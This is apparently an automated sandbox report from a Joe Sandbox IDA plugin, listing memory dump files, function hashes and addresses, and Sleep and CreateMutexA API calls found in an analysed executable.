Memory Dump Source

Source File: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1752722183.0000000000F50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752791680.0000000000FB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753051842.0000000000FB9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753121794.0000000000FBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753161490.0000000000FC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753258997.0000000000FC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753296978.0000000000FC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753662175.0000000001114000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753754373.0000000001116000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001126000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755045852.0000000001137000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755063098.000000000113D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755080172.0000000001145000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755093675.0000000001146000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755105895.0000000001147000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755121161.000000000114E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755136572.0000000001159000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755152448.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755168242.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755185757.000000000117A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755208020.0000000001196000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755222711.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755235349.000000000119C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755251304.00000000011A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755267195.00000000011B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755284255.00000000011B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755296998.00000000011B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755314228.00000000011BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755329040.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755345530.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755358762.00000000011C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755372736.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755386501.00000000011CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755403161.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755417894.00000000011D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755432060.00000000011D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755453550.00000000011F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.00000000011F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.0000000001213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755512933.000000000122F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755527334.0000000001231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755541548.0000000001246000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755561600.0000000001247000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755579040.0000000001248000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755596027.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755611221.000000000124D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755627860.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755645165.000000000125E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 03ee86ba17734ef31225a16c74988d5c1a865d48d926d89ad02ef35ec809d2a7
Instruction ID: 27821b44fe1fe83cbc994dc5c6eb97ffe6852c529061c17aacbf280ca4322c74
Opcode Fuzzy Hash: 03ee86ba17734ef31225a16c74988d5c1a865d48d926d89ad02ef35ec809d2a7
Instruction Fuzzy Hash: 4F317D71B08100DBEB0CDB78DC8D75DB762EBC2311F244318EA149B3D6C7B54A89AB51

Function 00F59A77 Relevance: 3.1, APIs: 2, Instructions: 138
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F5A963
CreateMutexA.KERNEL32(00000000,00000000,00FB3254), ref: 00F5A981

Memory Dump Source

Source File: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1752722183.0000000000F50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752791680.0000000000FB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753051842.0000000000FB9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753121794.0000000000FBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753161490.0000000000FC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753258997.0000000000FC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753296978.0000000000FC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753662175.0000000001114000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753754373.0000000001116000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001126000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755045852.0000000001137000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755063098.000000000113D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755080172.0000000001145000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755093675.0000000001146000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755105895.0000000001147000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755121161.000000000114E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755136572.0000000001159000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755152448.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755168242.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755185757.000000000117A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755208020.0000000001196000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755222711.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755235349.000000000119C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755251304.00000000011A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755267195.00000000011B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755284255.00000000011B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755296998.00000000011B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755314228.00000000011BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755329040.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755345530.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755358762.00000000011C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755372736.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755386501.00000000011CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755403161.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755417894.00000000011D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755432060.00000000011D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755453550.00000000011F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.00000000011F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.0000000001213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755512933.000000000122F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755527334.0000000001231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755541548.0000000001246000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755561600.0000000001247000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755579040.0000000001248000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755596027.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755611221.000000000124D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755627860.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755645165.000000000125E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 55e7c7a6d2bb749e3cb0da84a1818717d12331c4edd934c3050f41457b1acae1
Instruction ID: 9086ca278530f9ec4c1fa36709155e15905fd39f570c29ae5cedb3eda16c8de0
Opcode Fuzzy Hash: 55e7c7a6d2bb749e3cb0da84a1818717d12331c4edd934c3050f41457b1acae1
Instruction Fuzzy Hash: AB313B31B08140DBEB1C9B78DCCD76DB762DBC1311F244318EA149B3D6D7B94A85AB61

Function 00F59F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F5A963
CreateMutexA.KERNEL32(00000000,00000000,00FB3254), ref: 00F5A981

Memory Dump Source

Source File: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1752722183.0000000000F50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752791680.0000000000FB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753051842.0000000000FB9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753121794.0000000000FBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753161490.0000000000FC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753258997.0000000000FC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753296978.0000000000FC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753662175.0000000001114000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753754373.0000000001116000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001126000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755045852.0000000001137000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755063098.000000000113D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755080172.0000000001145000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755093675.0000000001146000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755105895.0000000001147000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755121161.000000000114E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755136572.0000000001159000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755152448.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755168242.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755185757.000000000117A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755208020.0000000001196000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755222711.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755235349.000000000119C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755251304.00000000011A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755267195.00000000011B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755284255.00000000011B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755296998.00000000011B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755314228.00000000011BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755329040.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755345530.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755358762.00000000011C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755372736.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755386501.00000000011CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755403161.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755417894.00000000011D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755432060.00000000011D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755453550.00000000011F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.00000000011F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.0000000001213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755512933.000000000122F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755527334.0000000001231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755541548.0000000001246000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755561600.0000000001247000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755579040.0000000001248000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755596027.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755611221.000000000124D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755627860.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755645165.000000000125E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 60f3b6a4c65fb12a6417acb0deb56bb56e810be94bc405b0cfb1dba0e3965025
Instruction ID: ef045b1fc76b8f39652a923f9fdf1bdc3a5ee793cfdd3b082661fd2d40f33885
Opcode Fuzzy Hash: 60f3b6a4c65fb12a6417acb0deb56bb56e810be94bc405b0cfb1dba0e3965025
Instruction Fuzzy Hash: 1D316C31B04100CBEB089B78DC8D7ACB762EF86311F244718EA14DB3D5C7754988AB52

Function 00F5A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F5A963
CreateMutexA.KERNEL32(00000000,00000000,00FB3254), ref: 00F5A981

Memory Dump Source

Source File: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1752722183.0000000000F50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752791680.0000000000FB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753051842.0000000000FB9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753121794.0000000000FBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753161490.0000000000FC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753258997.0000000000FC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753296978.0000000000FC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753662175.0000000001114000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753754373.0000000001116000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001126000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755045852.0000000001137000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755063098.000000000113D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755080172.0000000001145000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755093675.0000000001146000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755105895.0000000001147000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755121161.000000000114E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755136572.0000000001159000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755152448.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755168242.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755185757.000000000117A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755208020.0000000001196000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755222711.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755235349.000000000119C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755251304.00000000011A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755267195.00000000011B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755284255.00000000011B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755296998.00000000011B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755314228.00000000011BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755329040.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755345530.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755358762.00000000011C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755372736.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755386501.00000000011CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755403161.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755417894.00000000011D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755432060.00000000011D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755453550.00000000011F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.00000000011F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.0000000001213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755512933.000000000122F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755527334.0000000001231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755541548.0000000001246000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755561600.0000000001247000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755579040.0000000001248000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755596027.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755611221.000000000124D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755627860.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755645165.000000000125E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c88cb6c904e0f5afb57abc48d417e5adbd073b5ccf6a12cbc2a6693244ff3ae1
Instruction ID: 171048d361c48495ba3633365cf127c7674772a017d2c34f8671cc847ca34773
Opcode Fuzzy Hash: c88cb6c904e0f5afb57abc48d417e5adbd073b5ccf6a12cbc2a6693244ff3ae1
Instruction Fuzzy Hash: 43317B31B541009BEB08DB78CCCD76DB772DF82311F244318EA149B3D1C77A9998AB22

Function 00F5A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F5A963
CreateMutexA.KERNEL32(00000000,00000000,00FB3254), ref: 00F5A981

Memory Dump Source

Source File: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1752722183.0000000000F50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752791680.0000000000FB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753051842.0000000000FB9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753121794.0000000000FBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753161490.0000000000FC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753258997.0000000000FC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753296978.0000000000FC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753662175.0000000001114000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753754373.0000000001116000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001126000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755045852.0000000001137000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755063098.000000000113D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755080172.0000000001145000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755093675.0000000001146000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755105895.0000000001147000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755121161.000000000114E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755136572.0000000001159000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755152448.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755168242.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755185757.000000000117A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755208020.0000000001196000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755222711.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755235349.000000000119C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755251304.00000000011A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755267195.00000000011B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755284255.00000000011B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755296998.00000000011B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755314228.00000000011BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755329040.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755345530.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755358762.00000000011C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755372736.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755386501.00000000011CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755403161.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755417894.00000000011D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755432060.00000000011D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755453550.00000000011F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.00000000011F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.0000000001213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755512933.000000000122F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755527334.0000000001231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755541548.0000000001246000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755561600.0000000001247000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755579040.0000000001248000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755596027.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755611221.000000000124D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755627860.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755645165.000000000125E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 30b9742f1dc6e21794ff3731005fac76ffd34bb689cf1f9c8bb10bd97fb65ac2
Instruction ID: 9a1d50fc2763ac5802f7724f72a54c67bfe1edf888ccaff8d81297dc51eeecc2
Opcode Fuzzy Hash: 30b9742f1dc6e21794ff3731005fac76ffd34bb689cf1f9c8bb10bd97fb65ac2
Instruction Fuzzy Hash: 5B316A31B041409BEB08DB78DC8D76DB762AB86311F244319EA049B3D1D7768998AB22

Function 00F5A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

